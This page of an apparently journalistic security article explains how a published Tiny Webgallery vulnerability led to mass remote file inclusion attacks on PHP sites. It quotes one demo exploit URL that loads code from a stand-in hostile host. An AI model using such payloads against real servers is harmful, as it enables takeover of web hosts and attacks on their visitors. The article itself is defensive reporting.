« previous 1 2 3 4 5 next »

The PHP dilemma

On 14th August, Ralf M. was surprised to receive the following unexpected message from his provider, "We recently registered an attempt to hack our servers emanating from your web presence." What had occurred?

Ralf M. operates a website on which he provides visitors with a collection of images using the PHP software, Tiny Webgallery. On 10th August, a hacker using the pseudonym xoron had published details of a security vulnerability in this software on the Full Disclosure mailing list - which practically enough included a demo exploit:

image.php?image=http://evil_scripts

From 12th August, dozens of queries of this type rained down on the server. They downloaded complete PHP shells from mostly East European servers offering everything a hacker could wish for, from backdoors and local kernel exploits to command line prompts. One can only imagine what the attackers subsequently got up to on the server.

The PHP shells used for attacks often provide greater ease of use and more options than web hosts' normal admin front ends.

This kind of situation is still happening to thousands of website operators. Users of shared web hosting services in particular are not really able to protect themselves. Whether you want an image gallery like Ralf M, a forum or even a database connection, thoughts soon turn to PHP applications. Writing one yourself is rarely an option - not to mention the fact that this is not necessarily going to represent progress with regard to security. If you install a third party PHP application, it can be pretty much assumed that you are also installing one or two security vulnerabilities. Every day around half a dozen new vulnerabilities are published on the relevant forums.

Such security vulnerabilities are then systematically and professionally exploited by criminal groups. Sites using the vulnerable applications can quickly be sniffed out from their characteristic outputs on Google. PHP shells for an attack stand ready on other captured servers. Within a few days of publication of a vulnerability, a server can be being used for all sorts of illegal activities. Lines of code added to web pages then exploit browser vulnerabilities to install keyloggers and other spyware onto visitors' computers. Alternatively the systems may be used as high-performance DDoS clients or spam spreaders.

As a preventive measure, it would be desirable, if it were possible using some switch, to determine that PHP applications should not be able to load and execute code from external servers under any circumstances. However, this idea fails because the options listed in the notes on php.ini can only be set globally in the system-wide PHP configuration. The hosting companies can't set this, because many web applications would then no longer work for their customers.

A fundamental improvement is not on the cards - neither localised security options that would allow web hosting customers to restrict their PHP applications themselves, nor a Perl-like taint mode are on the PHP roadmap. The only option for anyone operating a PHP application on a shared host remains therefore to check the vendor's website frequently for updates and install them as soon as possible. (ju)

« previous 1 2 3 4 5 next »